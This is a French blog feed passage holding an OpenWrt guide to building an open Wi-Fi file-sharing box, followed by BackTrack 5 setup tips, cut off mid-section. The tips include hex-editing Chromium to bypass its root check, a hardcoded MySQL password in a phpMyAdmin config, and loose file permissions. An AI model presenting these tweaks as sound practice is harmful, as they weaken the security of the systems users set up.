Téléchargeable en version pdf : ici

partage-B0X

Présentation

Inspirée par les deaddrops  ou widrops et autres piratebox ainsi que la loi Hadopi, voici la partageBox. La partageBox vous offre la possibilité de partager les fichiers de votre choix avec les autres utilisateurs via le wifi. Le fonctionnement est simple, vous vous connectez sur le réseau wifi ouvert, identifiable facilement par son nom “Partage-B0x”. Ensuite lorsque vous saisissez une URL quelle qu’elle soit dans votre navigateur, elle est redirigée automatiquement vers une page d’information. Il y figure une explication du projet et les accès au serveur de fichiers. Sur le serveur de fichier vous pouvez déposer vos fichiers et télécharger ceux mis à disposition par les autres utilisateurs.

Pourquoi ne pas s’être contenté de reprendre le travail proposé par David Darts (piratebox) ?

Bien qu’elle en soit fortement inspirée, la partage-box a été recréée de zéro pour avoir une maîtrise complète de son fonctionnement. Dans le même temps, un effort de simplification de la configuration a été fait. Il ne s’agissait pas de fournir un fichier binaire tout fait de la partagebox pour pouvoir la cloner mais un guide permettant de comprendre son fonctionnement.

Il est plus aisé par la suite de la reproduire aisément sur d’autres modèles de routeurs ou même de l’enrichir. Techniquement la partagebox repose sur un routeur (Netgear wndr3700v2 dans notre cas) qui dispose d’un petit processeur et de suffisamment de ram pour y faire fonctionner quelques applications.

Openwrt , une distribution Linux vient remplacer le firmware d’origine. Un firewall, un portail captif, un serveur web (uhttpd) ainsi qu’un serveur ftp (vsftpd) y sont installés pour couvrir le besoin de fonctionnalités. Cet article décrit tout le processus de création de la partagebox. Il vous permettra de la reproduire, voir même de l’améliorer (ce n’est qu’un début).

1 Installation OpenWrt

partage-b0x interface

Désormais vous pouvez accéder à votre routeur flashé via telnet.

root@openwrt:~$ telnet 192.168.1.1

BusyBox v1.18.4 (2011-06-10 03:20:21 CEST) built-in shell (ash)

Enter ‘help’ for a list of built-in commands.

W I R E L E S S F R E E D O M

ATTITUDE ADJUSTMENT (bleeding edge, r27153)

* 1/4 oz Vodka Pour all ingredients into mixing

* 1/4 oz Gin tin with ice, strain into glass.

* 1/4 oz Amaretto

* 1/4 oz Triple sec

* 1/4 oz Peach schnapps

* 1/4 oz Sour mix

* 1 splash Cranberry juice

—————————————————–

root@openwrt:~$

Vous devez ensuite mettre en place le mot de passe root. Ceci désactivera par ailleurs le service telnet et activera ssh à sa place.

root@openwrt:~$ passwd

Si ni telnet, ni ssh ne sont accessibles suite à cette manipulation, tentez de rebooter le routeur. Votre routeur est fonctionnel mais le réseau n’est pas entièrement configuré pour l’instant, c’est l’étape suivante de ce guide.

2 Configuration de base

Avant de configurer les services qui seront utilisés pour partager les fichiers, nous devons tout d’abord mettre en place la structure du réseau. Il faut également installer le support des périphériques de stockage usb pour pouvoir entreposer les futures données.

2.1 Configuration réseau

Le routeur wndr3700 dispose d’un port réseau relié au modem en plus d’un switch 4 ports et de deux radios wifi. Ces éléments sont regroupés en deux interfaces réseau avec pour chacun une zone firewall associée:

wan : l’interface modem

lan : le réseau local (switch + wifi)

Une première étape consiste à séparer le réseau wifi du réseau filaire (switch). Ceci permettra d’appliquer des règles de sécurité plus strictes aux clients wifi. Nous allons donc créer une nouvelle interface wifi indépendante des autres interfaces.

Le fichier a éditer pour cela est le fichier /etc/config/network Nous y ajouterons la section suivante, qui décrit la nouvelle interface wifi, son adresse ip et son masque.

config ‘interface’ ‘wifi’

option ‘proto’ ‘static’

option ‘ipaddr’ ’192.168.2.1′

option ‘netmask’ ’255.255.255.0′

Ainsi modifié le fichier /etc/config/network doit ressembler à cela : (Vous pouvez le télécharger en cliquant sur l’entête)

network

config ‘interface’ ‘loopback’

option ‘ifname’ ‘lo’

option ‘proto’ ‘static’

option ‘ipaddr’ ’127.0.0.1′

option ‘netmask’ ’255.0.0.0′

config ‘interface’ ‘lan’

option ‘ifname’ ‘eth0.1′

option ‘type’ ‘bridge’

option ‘proto’ ‘static’

option ‘ipaddr’ ’192.168.1.1′

option ‘netmask’ ’255.255.255.0′

config ‘interface’ ‘wan’

option ‘ifname’ ‘eth1′

option ‘proto’ ‘dhcp’

config ‘switch’

option ‘name’ ‘rtl8366s’

option ‘reset’ ’1′

option ‘enable_vlan’ ’1′

option ‘blinkrate’ ’2′

config ‘switch_vlan’

option ‘device’ ‘rtl8366s’

option ‘vlan’ ’1′

option ‘ports’ ’0 1 2 3 5t’

config ‘switch_port’

option ‘device’ ‘rtl8366s’

option ‘port’ ’1′

option ‘led’ ’6′

config ‘switch_port’

option ‘device’ ‘rtl8366s’

option ‘port’ ’2′

option ‘led’ ’9′

config ‘switch_port’

option ‘device’ ‘rtl8366s’

option ‘port’ ’5′

option ‘led’ ’2′

config ‘interface’ ‘wifi’

option ‘proto’ ‘static’

option ‘ipaddr’ ’192.168.2.1′

option ‘netmask’ ’255.255.255.0′

Maintenant que l’interface wifi existe nous allons pouvoir configurer les deux radios wifi et les y ajouter. Cela se passe dans le fichier /etc/config/wireless. On y retrouve deux types de sections wifi-device et wifi-iface. La première décrit la configuration matérielle d’une radio. La seconde décrit l’interface à laquelle elle est rattachée, son mode de fonctionnement (access point, ad-hoc, …), le cryptage et diverses autres options. Le wndr3700 possède deux radios radio0 et radio1. Nous n’utiliserons que radio0, radio1 fonctionne sur du 5ghz mais sa configuration est à peu près similaire si vous souhaitez l’utiliser.

Activons-les :

option ‘disabled’ ’0′

précisons notre code pays (régulation de la puissance d’émission, canaux utilisés)

option ‘country’ ‘FR’

et la puissance d’émission (maximale)

option ‘txpower’ ’20′

Configurons maintenant la section ‘wifi-device’ associée

config ‘wifi-iface’

option ‘device’ ‘radio0′

option ‘mode’ ‘ap’

option ‘network’ ‘wifi’

option ‘ssid’ ‘PARTAGE-B0x’

option ‘encryption’ ‘none’

option ‘isolate’ ’1′

La radio correspondante est spécifiée par l’option device. Nous utiliserons le mode ap pour access point. Nous l’associons à la nouvelle interface réseau que nous venons de créer (option ‘network’ ‘wifi’). Baptisons notre wifi PARTAGE-B0x. Notre réseau ne sera pas crypté (encryption none). La dernière option isolate 1 est très importante pour la sécurité de vos futurs utilisateurs. Elle permet leur isolation. Cela signifie que deux utilisateurs connectés simultanément ne pourront communiquer entre-eux directement et donc s’attaquer.

Voici le fichier /etc/config/wireless final

wireless

config ‘wifi-device’ ‘radio0′

option ‘type’ ‘mac80211′

option ‘channel’ ’11′

option ‘macaddr’ ‘a0:21:b7:ac:bc:e3′

option ‘hwmode’ ’11ng’

option ‘htmode’ ‘HT20′

list ‘ht_capab’ ‘SHORT-GI-40′

list ‘ht_capab’ ‘TX-STBC’

list ‘ht_capab’ ‘RX-STBC1′

list ‘ht_capab’ ‘DSSS_CCK-40′

option ‘country’ ‘FR’

option ‘txpower’ ’20′

option ‘disabled’ ’0′

config ‘wifi-iface’

option ‘device’ ‘radio0′

option ‘mode’ ‘ap’

option ‘network’ ‘wifi’

option ‘ssid’ ‘PARTAGE-B0x’

option ‘encryption’ ‘none’

option ‘isolate’ ’1′

config ‘wifi-device’ ‘radio1′

option ‘type’ ‘mac80211′

option ‘channel’ ’36′

option ‘macaddr’ ‘a0:21:b7:ac:bc:e5′

option ‘hwmode’ ’11na’

option ‘htmode’ ‘HT20′

list ‘ht_capab’ ‘SHORT-GI-40′

list ‘ht_capab’ ‘TX-STBC’

list ‘ht_capab’ ‘RX-STBC1′

list ‘ht_capab’ ‘DSSS_CCK-40′

option ‘txpower’ ’17′

option ‘country’ ‘FR’

option ‘disabled’ ’1′

config ‘wifi-iface’

option ‘device’ ‘radio1′

option ‘network’ ‘wifi’

option ‘mode’ ‘ap’

option ‘ssid’ ‘OpenWrt’

option ‘encryption’ ‘none’

Passons maintenant à la configuration du firewall. Elle se trouve dans le fichier /etc/config/firewall .Nous allons y ajouter une zone correspondant à l’interface wifi

config ‘zone’

option ‘name’ ‘wifi’

option ‘network’ ‘wifi’

option ‘input’ ‘ACCEPT’

option ‘output’ ‘ACCEPT’

option ‘forward’ ‘DROP’

Ainsi qu’une règle interdisant l’accès ssh pour les utilisateurs du wifi

config ‘rule’

option ‘src’ ‘wifi’

option ‘dest_port’ ’22′

option ‘target’ ‘DROP’

fichier /etc/config/firewall complet :

firewall

config ‘defaults’

option ‘syn_flood’ ’1′

option ‘input’ ‘ACCEPT’

option ‘output’ ‘ACCEPT’

option ‘forward’ ‘REJECT’

option ‘drop_invalid’ ’1′

config ‘zone’

option ‘name’ ‘lan’

option ‘network’ ‘lan’

option ‘input’ ‘ACCEPT’

option ‘output’ ‘ACCEPT’

option ‘forward’ ‘REJECT’

config ‘zone’

option ‘name’ ‘wan’

option ‘network’ ‘wan’

option ‘input’ ‘REJECT’

option ‘output’ ‘ACCEPT’

option ‘forward’ ‘REJECT’

option ‘masq’ ’1′

option ‘mtu_fix’ ’1′

config ‘zone’

option ‘name’ ‘wifi’

option ‘network’ ‘wifi’

option ‘input’ ‘ACCEPT’

option ‘output’ ‘ACCEPT’

option ‘forward’ ‘DROP’

config ‘rule’

option ‘src’ ‘wifi’

option ‘dest_port’ ’22′

option ‘target’ ‘DROP’

config ‘rule’

option ‘src’ ‘wan’

option ‘proto’ ‘udp’

option ‘dest_port’ ’68′

option ‘target’ ‘ACCEPT’

option ‘family’ ‘ipv4′

config ‘rule’

option ‘src’ ‘wan’

option ‘proto’ ‘icmp’

option ‘icmp_type’ ‘echo-request’

option ‘target’ ‘ACCEPT’

config ‘include’

option ‘path’ ‘/etc/firewall.user’

La configuration est pratiquement terminée, ne reste que le dhcp à paramétrer pour l’interface wifi. Ajoutez la section suivante dans le fichier /etc/config/dhcp :

config ‘dhcp’

option ‘interface’ ‘wifi’

option ‘start’ ’100′

option ‘limit’ ’150′

option ‘leasetime’ ’12h’

Et le fichier complet :

dhcp

config ‘dnsmasq’

option ‘domainneeded’ ’1′

option ‘boguspriv’ ’1′

option ‘filterwin2k’ ’0′

option ‘localise_queries’ ’1′

option ‘rebind_protection’ ’1′

option ‘rebind_localhost’ ’1′

option ‘local’ ‘/lan/’

option ‘domain’ ‘lan’

option ‘expandhosts’ ’1′

option ‘nonegcache’ ’0′

option ‘authoritative’ ’1′

option ‘readethers’ ’1′

option ‘leasefile’ ‘/tmp/dhcp.leases’

option ‘resolvfile’ ‘/tmp/resolv.conf.auto’

config ‘dhcp’ ‘lan’

option ‘interface’ ‘lan’

option ‘start’ ’100′

option ‘limit’ ’150′

option ‘leasetime’ ’12h’

config ‘dhcp’ ‘wan’

option ‘interface’ ‘wan’

option ‘ignore’ ’1′

config ‘dhcp’

option ‘interface’ ‘wifi’

option ‘start’ ’100′

option ‘limit’ ’150′

option ‘leasetime’ ’12h’

La configuration du réseau est terminée. Pour que les changements soient pris en compte redémarrez les services concernés :

root@openwrt:~$ /etc/init.d/network restart

root@openwrt:~$ /etc/init.d/wifi

root@openwrt:~$ /etc/init.d/firewall restart

root@openwrt:~$ /etc/init.d/dhcp restart

2.2 Configuration usb

Nous allons maintenant mettre en place le support des périphériques usb. Sur le wndr3700, le port usb peut même recevoir des disques durs auto-alimentés. Il faut installer les packages kmod-usb2, kmod-ohci, kmod-usb-storage et kmod-leds-wndr3700-usb (pour la déco). N’oubliez pas de connecter le port jaune de votre routeur à votre modem. Une connexion Internet est nécessaire pour pouvoir télécharger les packages ci-dessous.

root@openwrt:~$ opkg update

root@openwrt:~$ opkg install packages kmod-usb2 kmod-ohci kmod-usb-storage kmod-leds-wndr3700-usb

Installez également les systèmes de fichiers de vos périphériques usb. Nous utiliserons ext3 qui est géré par le package kmod-fs-ext4

root@openwrt:~$ opkg install kmod-fs-ext4

Il faut maintenant formater votre clé usb ou disque au format ext3. Le package e2fsprogs contient l’outil mkfs que nous allons utiliser.

root@openwrt:~$ opkg install e2fsprogs

Connectez votre clé/disque dur sur le routeur. L’étiquette associée est /dev/sda1. C’est vérifiable en consultant la commande

root@openwrt:~$ dmesg

Lancez le formatage (inutile de vous rappeler que toutes les données contenues sur le périphérique seront effacées)

root@openwrt:~$ mkfs.ext3 /dev/sda1

Vous pouvez maintenant monter votre clé sur le routeur. Créez d’abord le répertoire depuis lequel la clé sera accèdée

root@openwrt:~$ mkdir /mnt/usb

et puis montez :

root@openwrt:~$ mount -t ext3 /dev/sda1 /mnt/usb

Vérifiez le fonctionnement en créant un fichier sur la clé/disque

root@openwrt:~$ echo ‘hello’ > /mnt/usb/hello

Si pas d’erreur tout est OK.

Faisons en sorte maintenant que le périphérique soit automatiquement monté au démarrage. Pour manipuler le fstab il faut installez le package block-mount

root@openwrt:~$ opkg install block-mount

Editez la section mount du fichier /etc/config/fstab pour qu’elle ressemble à ceci :

config mount

option target /mnt/usb

option device /dev/sda1

option fstype ext3

option options rw,sync

option enabled 1

option enabled_fsck 0

le fichier complet :

fstab

config global automount

option from_fstab 1

option anon_mount 1

config global autoswap

option from_fstab 1

option anon_swap 0

config mount

option target /mnt/usb

option device /dev/sda1

option fstype ext3

option options rw,sync

option enabled 1

option enabled_fsck 0

config swap

option device /dev/sda2

option enabled 0

2.3 Configurations diverses

Avant de terminer la configuration de base, ajoutons quelques fonctionnalités supplémentaires spécifiques au Netgear. Présence d’un périférique usb :

Créez ou éditez le fichier /etc/hotplug.d/usb/10-usb

10-usb

10-usb

#!/bin/sh

# Copyright (C) 2009 OpenWrt.org

case “$ACTION” in

add)

# update LEDs

echo “255″ >/sys/devices/platform/wndr3700-led-usb/leds/wndr3700:green:usb/brightness

;;

remove)

# update LEDs

echo “0″ >/sys/devices/platform/wndr3700-led-usb/leds/wndr3700:green:usb/brightness

;;

esac

Configuration du bouton wifi :

Cela permet de couper complétement le wifi simplement en appuyant sur le bouton ( ( ° ) ) de votre routeur.

Créez le fichier /etc/hotplug.d/button/10-radio-toggle

10-radio-toggle

#!/bin/sh

if [ "$BUTTON" = "BTN_2" ] && [ "$ACTION" = "pressed" ]; then

if [ -d /var/run/hostapd-phy0 -o -d /var/run/hostapd-phy1 ]; then

logger “WiFi button used: WiFi down”

/sbin/wifi down

else

logger “WiFi button used: WiFi up”

/sbin/wifi up

fi

fi

La configuration de base est maintenant terminée !

3 Configuration des services

Nous pouvons donc maintenant configurer les services utiles au partage de fichiers et à l’accueil des utilisateurs.

3.1 Configuration du serveur web

Le serveur web uhttpd est déjà installé par défaut. Nous allons simplement y installer le support php et revoir quelques paramètres de sa configuration.

root@openwrt:~$ opkg install php5 php5-fastcgi php5-mod-session

La configuration d’uhttpd se trouve dans le fichier /etc/config/uhttpd Voici la configuration qui nous sera nécessaire :

uhttpd

config uhttpd main

# Ecoute sur l’adresse de l’interface wifi

list listen_http 192.168.2.1:80

# Racine des fichiers

option home /www

# Ajoutons le support de php

list interpreter “.php=/usr/bin/php-cgi”

# les pages d’index

option ‘index_page’ ‘index.php,index.html’

# la page d’erreur

# important pour le portail captif, doit être la même que la page d’accueil du portail

option ‘error_page’ ‘/index.php’

option ‘nodirlist’ ‘yes’

Redémarrez le serveur web :

root@openwrt:~$ /etc/init.d/uhttpd restart

3.2 Configuration du serveur ftp

Tout d’abord avant de passer directement à l’installation et la configuration du serveur, nous allons préparer le répertoire dans lequel seront stockés les fichiers partagés. Nous avons pour cela déjà fait un premier pas en installant le support usb complet. Créez maintenant le

répertoire racine uploads/ sur votre périphérique usb.

root@openwrt:~$ mkdir /mnt/usb/uploads

A l’intérieur de ce répertoire il faut créer le répertoire dans lequel seront déposés les fichiers.

root@openwrt:~$ mkdir /mnt/usb/uploads/files

Le propriétaire de ce répertoire doit être l’utilisateur ftp.

root@openwrt:~$ chown ftp:ftp /mnt/usb/uploads/files

Pourquoi deux répertoires ? Nous allons utiliser les connexions anonymes et vsftpd, notre serveur ftp, exige que le propriétaire du répertoire de connexion (upload/) ne soit pas l’utilisateur anonyme ftp.

Changez maintenant le répertoire de l’utilisateur ftp. Editez le fichier /etc/passwd remplacez la ligne ftp:x:XY:XY:FTP User:/var/ftp:/sbin/nologin

par la ligne ftp:x:XY:XY:FTP User:/mnt/usb/uploads:/sbin/nologin

Maintenant nous pouvons passer à l’installation de vsftpd

root@openwrt:~$ opkg install vsftpd

Il n’est pas démarré par défaut, activons-le

root@openwrt:~$ /etc/init.d/vsftpd enable

Plutôt que de décrire étape par étape la construction laborieuse du fichier de configuration /etc/vsftpd.conf , voici sa version complète et commentée.

vsftpd.conf

background=YES

listen=YES

# précise le user utilisé pour les processus de vsftpd

ftp_username=ftp

# active les connexions anonymes

anonymous_enable=YES

# active l’upload pour les connexions anonymes

anon_upload_enable=YES

# défini le répertoire de connexion pour les utilisateurs anonymes

# ici l’emplacement que nous venons de créer sur le disque usb

anon_root=/mnt/usb/uploads

# les utilisateurs anonymes ne peuvent voir que les fichiers visibles

# par tout les utilisateurs du système (option de sécurité)

anon_world_readable_only=YES

# une session inactive est déconnecté au bout de X secondes

idle_session_timeout=300

# désactive le download/upload ascii vecteur potentiel de faille de sécurité (ddos)

ascii_download_enable=NO

ascii_upload_enable=NO

# cache le vrai propriétaire d’un fichier et le remplace par ‘ftp’

hide_ids=YES

# désactive les logs (on a pas la place sur le routeur)

syslog_enable=NO

# répertoire vide dans lequel vsftpd se place après la connexion

# d’un utilisateur non anonyme (non utilisé pour l’instant)

local_root=/usr/share/empty

# utilisateur sans privilège utilisé pour lancer les processus de vsftpd

nopriv_user=ftp

# change le propriétaire des fichiers uploadés

chown_uploads=YES

# les fichiers uploadés auront les droits 644 par défaut

chown_upload_mode=0644

# le nom du propriétaire pour les fichiers uploadés

chown_username=ftp

# message d’accueil suite à la connexion de l’utilisateur

ftpd_banner=Welcome to PARTAGE-B0x FTP server!

# désactive les utilisateurs locaux vu qu’on ne s’en sert pas dans notre cas

local_enable=NO

# autorise l’écriture (donc l’upload) sur le serveur

write_enable=YES

# chown_upload prend le dessus sur ces directives dans notre cas

#local_umask=0022

#anon_umask=0022

# ne vérifie pas si l’utilisateur dispose d’un véritable shell de connexion

# dans le cas d’utilisateurs virtuels (non utilisé ici)

check_shell=NO

# inutile, nous ne loggons pas les connexions

session_support=NO

3.3 Configuration du portail captif

Le portail captif est le système qui va rediriger automatiquement l’utilisateur de la box vers une page d’accueil rédigée par nos soins. Il permet également de mettre en place des règles de sécurité au travers du firewall. D’ordinaire un portail captif est utilisé pour authentifier les utilisateurs puis de leur laisser l’accès libre à Internet. Cependant nous n’avons besoin ici que du mécanisme de redirection. Un portail captif complet est un outil sur-dimensionné par rapport à nos besoins. Pour mettre en place cette redirection nous allons utiliser une technique simple.

Pour simplifier, lorsque l’utilisateur entre une url dans son navigateur, celui-ci lui demande au routeur l’enregistrement DNS correspondant avec l’ip du serveur correspondant à l’url. Pour rediriger n’importe qu’elle url vers notre page d’accueil il suffit de mentir sur cet enregistrement DNS et de lui fournir non pas l’ip du serveur qu’il demande mais celle de notre serveur web. Le serveur dns par défaut d’Openwrt est dnsmasq.

Editez le fichier /etc/dnsmasq.conf et ajoutez à la l’option suivante :

address=/#/192.168.2.1

Redémarrez maintenant le serveur DNS pour que la modification soit prise en compte Attention tout de même une fois cette modification effectuée dnsmasq mentira pour toutes les requêtes. Vous ne pourrez par exemple plus installer de nouveaux packages. Pas d’inquiétude cependant c’est tout à fait réversible. Vous pouvez commenter la ligne ci-dessus en ajoutant un # devant et lorsque que vous redémarrerez à nouveau dnsmasq l’accès sera rétabli.

root@openwrt:~$ /etc/init.d/dhcp restart

Tout les enregistrements demandés retourneront désormais l’adresse de notre serveur 192.168.2.1 Il est possible tout de même d’y ajouter des exceptions référez-vous à la doc de dnsmasq pour cela. Maintenant il suffit d’ajouter votre page d’accueil index.php ou index.html dans le répertoire du serveur web (/www) pour que les utilisateurs soient redirigés automatiquement.

Pour l’instant cette technique ne fonctionne que si l’utilisateur demande une url simple :

www.google.com

Si l’url demandée est :

www.google.com/images

Uhttpd remontera une erreur comme quoi cette page n’existe pas. Pour le contrer la page d’erreur retournée doit-être la même que la page d’accueil. L’effet sera alors transparent. Si vous avez suivi les instructions de ce guide la page d’erreur configurée est déjà index.php. Sinon reportez-vous à la section correspondante de l’article.

Partage-B0X remixed

Voici une archive dans laquelle vous trouverez la page utilisée dans la PartageBox. Elle comprend une FAQ du projet avec une shoutbox très simple pour permettre aux utilisateurs de laisser un message. Libre à vous de la réutiliser ou de la modifier.

La configuration du portail captif est terminée, place à quelques notes quant à la  finalisation de notre partagebox.

Conclusion : ENJOY !

Une fois configurée la partagebox n’a besoin que d’une prise électrique pourfonctionner. Il suffit alors de la brancher pour qu’elle soit opérationnelle. Vous pouvez dès lors lui imaginer de multiples utilisations; en deaddrop wifi dans un lieu public, dansune résidence étudiante, dans un bar à vous d’imaginer. Vous pouvez aussi lui adjoindred’autres services selon vos envies : la téléphonie (Asterisk) ou messagerie instantanée(Prosody). Je travaille d’ailleurs actuellement à remplacer le serveur FTP par uneinterface web plus attrayante pour les non-initiés. N’hésitez pas à partager vos modifications @llero sur twitter.

Inspiration

http://deaddrops.com/ Le concept original de clés usb publiques.

http://widrop.bzhack.org/ …et sa version wireless.

http://wiki.daviddarts.com/PirateBox La piratebox de David Darts.

Documentation

http://wiki.openwrt.org/ Le wiki d’openwrt, une véritable mine d’or d’informations.

http://wiki.openwrt.org/toh/netgear/wndr3700 La page du routeur utilisé dans ce guide.

http://vsftpd.beasts.org/vsftpd_conf.html Le manuel de configuration de vsftpd, le serveur ftp.

http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html Le manuel de dnsmasq, le dhcp/serveur dns choisi par openwrt.

J’ai constaté à l’époque d’attackvector.lescigales qu’étant donné l’irrégularité des publications dans le temps, ce qui poussait la majorité des utilisateurs non avertis à venir sur le site  été de refresh les pages à l’infini afin de voir les nouvelles citations, qui pour quelques unes sont devenu au fil du temps des phrases cultes, ne mentez pas! Je vous ai vu.  Donc je vous laisse découvrir au fil des postes les nouvelles citations ajoutées.

Allez pour la route en voici une choisi au hasard :

Comment tu peux savoir ça ? Facile je suis de retour du futur.. (3jours plus tard) Mais nan, c’était pas le futur , c’était wikipedia.

]]> http://thehackability.securithib.com/?feed=rss2&p=996 0 http://thehackability.securithib.com/?p=976 http://thehackability.securithib.com/?p=976#comments Wed, 10 Aug 2011 16:28:16 +0000 admin http://thehackability.securithib.com/?p=976 Auteur : ThibautL

C’est fait , je me suis enfin mis à backtrack5 , je vous demandes bien quel site de sécurité informatique pourrait abordé la sécurité sans parler du fameux backtrack, afficionado de cette distribution depuis la version 2  je n’ai pu m’empèché de regarder à quoi cette dernière ressemblait. Donc aprés avoir téléchargé /installé la dernière version Gnome ,ayant dans le cadre de mon entreprise  build il n’y a pas longtemps une distribution sécurité orienté programmation sur systeme embarqué et web basé sur Ubuntu lucid je n’ai pas trop été dépaysé.Comme il est devenu monnaie courante pour moi de partager quelques astuces d’installation ou d’utilisation (Installation de BT4 sur MSI wind MSI wind u 100 ou bien encore BT4 defenestration dans la zine 50-1337 #1 ). Voici comment utilisé sa distrib pour se lancer dans la programmation web.

Soit :

• - changer son pass mysql
• - installer phpmyadmin
• - utiliser chromium-browser et firefox pour naviguer
• - naviguer “anonymement” avec tor/polipo/privoxy

Je tiens à précisé que le fait que backtrack5 soit basé sur ubuntu lucid n’est pas forcément une mauvaise chose. Ubuntu est une distribution qui permet en peu de temps d’installation de commencé à travailler avec des outils performants et adaptés a nos besoins, c’est un gain de temps et de productivité considérable, la communauté Ubuntu étant une des plus grande communauté libre/opensource au monde ,une des plus actives, performantes en termes d’innovation et de compatibilité avec les systèmes existants , il y a par conséquent plus de main d’oeuvre pour les mises à jours.

Backtrack 3 avait aussi ses avantages, la distribution étant basé sur slax (une communauté aussi intéressante et pointue mais moins répandue dans le monde), je me souviens qu’on pouvait par exemple accèder à plus de systèmes de fichiers par défaut , installé son lilo sur  son vieu ipod et booté son custom OS en s’aidant de la gnu-arm toolchain (exemple épique qui plus est).

Ne renions pas le fait que l’avenir de l’informatique passe par la GUI-sation, les applications deviennent de plus en plus user-friendly, pour plus de productivité et de facilité a l’utilisation, bien que certains outils de sécurité se doivent pour des raisons d’éthique de rester en ligne de commande ou code source à cause des dommages possibles qu’ils pourraient occasionnés entre de mauvaises mains.

Voici quelques astuces en vrac. Une réunification de post-it un peu plus désordonnée que précédemment, cet article est d’ailleur voué à des modifications ultérieures.

Note : Les résultats des commandes sont affichés en italique.Les commandes sont affichées en gras.

Note sur l’anonymité : Dans le cadre d’une analyse de malware non simulée (in real world), l’anonymité selon l’utilisation que vous lui dédierai, peut être considéré comme un impératif. Homeost4sie nous a démontré dans son article intitulé Cas d’infection via une navigation anonyme mais pas anodine que la navigation “anonyme” de type proxy php publique n’est pas conseillée pour l’analyse de malwares, les sites proxy peuvent être asujetti à des attaques au même titre que les autres attaques présente sur les sites web c’est pourquoi je penses qu’il est intéressant de vous sensibiliser sur ces techniques.

Version :

cat /etc/lsb-release

DISTRIB_ID=Ubuntu

DISTRIB_RELEASE=10.04

DISTRIB_CODENAME=lucid

DISTRIB_DESCRIPTION=”Ubuntu 10.04.2 LTS”

Les dépôts lucid

nano /etc/apt/sources.list && apt-get update

apt-get install chromium-browser

apt-get install flashplugin-nonfree

Executez chromium-browser en root (ça peut arrivé):

cd /usr/lib/chromium-browser

hexedit chromium-browser

Une fois sur hexedit appuyez sur [TAB] pour passé en mode édition ascii puis utilisez ctrl + s pour lancer la recherche sur geteuid , remplacez la chaîne de caractère par getppid . Faîtes ctrl + x pour sauvegarder et quitter l’editeur (cette technique marche aussi pour vlc dans /usr/bin/vlc).

Installation du panneau d’utilisateur ubuntu :

apt-get install gnome-system-tools

ensuite  System –> administration –> user and accounts

Changer son pass MYSQL

Stoppez les services mysql existant :

/etc/init.d/mysql stop

Démarrez le serveur MySQL sans mot-de-passe:

mysqld_safe –skip-grant-tables &

[1] 5988

Starting mysqld daemon with databases from /var/lib/mysql

mysqld_safe[6025]: started

Connectez vous au serveur Mysql en utilisant le client:

mysql -u root

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 1 to server version: 4.1.15-Debian_1-log

Type ‘help;’ or ‘\h’ for help. Type ‘\c’ to clear the buffer.

mysql>

Configurez un nouveau mot-de-passe :

mysql> use mysql;

mysql> update user set password=PASSWORD(“VOTRE-NOUVEAU-PASS-ROOT”) where User=’root’;

mysql> flush privileges;

mysql> quit

Stoppez le serveur mysql:

/etc/init.d/mysql stop

Stopping MySQL database server: mysqld

STOPPING server from pid file /var/run/mysqld/mysqld.pid

mysqld_safe[6186]: ended

[1]+  Done                    mysqld_safe –skip-grant-tables

Démarrez le serveur et testez le :

/etc/init.d/mysql start

mysql -u root -p

Installer phpmyadmin

Démarrez votre serveur apache2 :

apache2ctl start

Allez dans votre dossier  www:

cd /var/www/

Téléchargez /extraire la dernière version :

wget http://sourceforge.net/projects/phpmyadmin/files%2FphpMyAdmin%2F3.4.3.2%2FphpMyAdmin-3.4.3.2-all-languages.tar.gz/download#!md5!9fabdaca484e72f4c4cea0ed858fa27e

tar -zxvf php*

Renommez le dossier extrait en pma (par exemple)

Editez le fichier

cd pma/

nano /libraries/config.default.php

Remplacez les cases appropriées par vos identifiant de connection.

$cfg['Servers'][$i]['user']          = ‘root’;

$cfg['Servers'][$i]['password']      = ‘cbb74bc’; // use here your password

$cfg['Servers'][$i]['auth_type']     = ‘config’;

Enregistrez le à la racine du dossier principal phpMyAdmin avec le nom config.inc.php, remplacez-le si celui-ci est déja existant.

Retournez dans le dossier pma et créez un dossier nommé config:

mkdir config

Changez les permissions de lecture/écriture du dossier :

chmod o+rw config

Copiez le fichier dans le dossier config :

cp config.inc.php config/

Donnez les permissions:

chmod o+w config/config.inc.php

Ouvrez la page d’installation avec votre navigateur :

http://1270.0.1/pma/setup/

Complètez les champs à l’écran.

Une fois bien configurez hotez les permissions du fichier et du dossier concerné.

mv config/config.inc.php .

chmod o-rw config.inc.php

Et enfin supprimez le dossier :

rm -rf config

A l’aide d’un .htaccess et du fichier robots.txt pensez à désactiver la navigation sur les endroits sensible de l’application /libraries et  /setup/lib(voir deny pour le htaccess et disallow pour le fichier robots.txt).

Navigation Anonyme

Installation des applications

apt-get install tor tor-geoipdb privoxy polipo

Configurez polipo :

mv /etc/polipo/config /etc/polipo/config.orig

wget https://gitweb.torproject.org/torbrowser.git/blob_plain/HEAD:/build-scripts/config/polipo.conf \

-O /etc/polipo/config

Vous pouvez aussi customiser le fichier config en changeant le port par exemple :

proxyPort = 8123

Redémarrez le service polipo

service polipo restart

Adblock pour polipo :

(cette technique convertis la liste utilisée par l’extension firefox adblock plus)

Récupération du fichier python :

wget http://sites.google.com/site/monkeesage/files/adblock2polipo.py -O /usr/local/bin/adblock2polipo.py

Configuration des permissions :

chmod a+x /usr/local/bin/adblock2polipo.py

Télechargement de la dernière blacklist :

wget –no-check-certificate http://easylist.adblockplus.org/easylist.txt

Mise à jour de la blacklist sur polipo:

cp /etc/polipo/forbidden /etc/polipo/forbidden.orig

bash -c “/usr/local/bin/adblock2polipo.py easylist.txt >> /etc/polipo/forbidden”

Correction d’une erreur de syntaxe :

sed -i -e ‘s_+adverts_//+adverts_g’ /etc/polipo/forbidden

Ajout d’une image gif taille 1×1 dédié à l’affichage des sites blacklisté :

Editez /etc/polipo/config :

localDocumentRoot = “/usr/share/polipo/www”

En bas du fichier , ajoutez :

forbiddenUrl = http://127.0.0.1:8118/empty.gif

Téléchargez le mini gif :

wget -O /usr/share/polipo/www/empty.gif \

http://upload.wikimedia.org/wikipedia/commons/4/4b/Empty.gif

Redémarrez polipo :

service polipo restart

Configuration de Privoxy :

Editez /etc/privoxy/config

# Set the listen address to 127.0.0.1:8118

listen-address 127.0.0.1:8118

# forward privoxy to TOR

forward-socks4a / 127.0.0.1:9050 .

# Alternately use socks5

# See : here

# forward-socks5 / 127.0.0.1:9050 .

#keep-alive-timeout 300

keep-alive-timeout 600

#default-server-timeout 60

default-server-timeout 600

#socket-timeout 300

socket-timeout 600

Redémarrez privoxy :

